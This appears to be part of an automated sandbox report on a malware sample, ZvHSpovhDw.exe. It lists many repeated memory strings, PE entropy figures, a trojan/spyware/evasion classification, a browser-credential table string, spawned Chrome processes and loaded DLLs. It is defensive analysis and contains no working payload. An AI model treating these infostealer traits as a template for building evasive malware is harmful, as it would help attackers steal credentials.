Source: ZvHSpovhDw.exe, 00000000.00000003.2311896274.00000000057AA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2310950912.0000000005848000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2327011816.00000000059F4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2314185861.000000000588F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2310680075.00000000057AB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2316711087.00000000057B1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2309581450.0000000005606000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2326710503.00000000057A6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2309096201.0000000005514000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2313978518.000000000593F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2325034886.00000000058BE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2315270248.00000000057B4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2316968787.00000000057AC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2307500514.000000000548A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2327351473.00000000058D2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2308982901.00000000054FC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2327172188.00000000057A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2315385506.0000000005898000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2309096201.000000000549B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2323962157.00000000058BF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2316588794.0000000005992000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2315736778.00000000057A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2326444723.00000000057A7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2312710509.00000000057B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2310771653.0000000005609000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2325905156.00000000057AB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2353345535.0000000005390000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2330990263.00000000058FB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2311994611.000000000585B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2330005982.00000000057A7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2353274880.0000000005514000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2311799000.0000000005863000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2308838215.0000000005426000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000002.2435201441.00000000057AB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2353345535.000000000534F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2322446175.00000000059B8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2329068314.0000000005A12000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2316226591.00000000058B1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2313876581.0000000005872000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2327855263.00000000058D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2315153742.000000000595C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2327528137.0000000005A02000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2324682605.00000000057A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2317113867.00000000058B4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2312816833.000000000586D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2309280463.000000000560C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2325524495.00000000058C2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2312605408.000000000591D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2316468664.000000000589C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2326862676.00000000058CA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2316842291.00000000058B2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2314079975.00000000057B4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2311434867.00000000058F4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2315618870.000000000589C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2313245810.00000000057A7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2308750682.00000000054ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2308982901.000000000556B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2330600844.00000000058F6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2353837920.0000000000B1A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2326565017.00000000058CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2314436150.0000000005891000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2309500663.00000000057A6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2308838215.00000000054FC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2329845226.00000000058ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2312963914.00000000057B0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2315869950.000000000588B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2315992566.000000000597F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2313087135.0000000005871000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2308838215.000000000548F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2314298219.00000000057B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2326221829.00000000058D5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2316344187.00000000057AC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2311616469.000000000585D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2307500514.0000000005426000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2311527857.00000000057AC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2309431273.000000000560E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2311705058.00000000057AF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2353205423.0000000005426000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2330755915.00000000057B1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2319163011.00000000057A7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2330450144.00000000057AD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2312091858.00000000057A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2311181932.00000000057AC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2327699105.00000000057A9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe
Source: ZvHSpovhDw.exe, 00000000.00000003.2328828920.00000000058DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs ZvHSpovhDw.exe

Source: ZvHSpovhDw.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: ZvHSpovhDw.exe

Static PE information: Section: ZLIB complexity 0.9995851205065359

Source: ZvHSpovhDw.exe

Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@24/70@12/6

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: C:\Users\user\Desktop\ZvHSpovhDw.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: ZvHSpovhDw.exe, 00000000.00000003.2106273274.000000000530D000.00000004.00000800.00020000.00000000.sdmp, ZvHSpovhDw.exe, 00000000.00000003.2105839976.0000000005329000.00000004.00000800.00020000.00000000.sdmp, ZvHSpovhDw.exe, 00000000.00000003.2129919019.0000000005316000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: ZvHSpovhDw.exe	ReversingLabs: Detection: 60%
Source: ZvHSpovhDw.exe	Virustotal: Detection: 55%

Source: ZvHSpovhDw.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: ZvHSpovhDw.exe	String found in binary or memory: 'RtlAllocateHeap3Cannot find '%s'. Please, re-install this applicationThunRTMain__vbaVarTstNeh

Source: C:\Users\user\Desktop\ZvHSpovhDw.exe

File read: C:\Users\user\Desktop\ZvHSpovhDw.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\ZvHSpovhDw.exe "C:\Users\user\Desktop\ZvHSpovhDw.exe"
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=ZvHSpovhDw.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2064 --field-trial-handle=1680,i,4262260481644383668,2991190505857384175,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=ZvHSpovhDw.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2040 --field-trial-handle=1992,i,9464875061659829024,6717847535062645044,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=ZvHSpovhDw.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=ZvHSpovhDw.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2064 --field-trial-handle=1680,i,4262260481644383668,2991190505857384175,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2040 --field-trial-handle=1992,i,9464875061659829024,6717847535062645044,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior

Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Section loaded: srvcli.dll	Jump to behavior
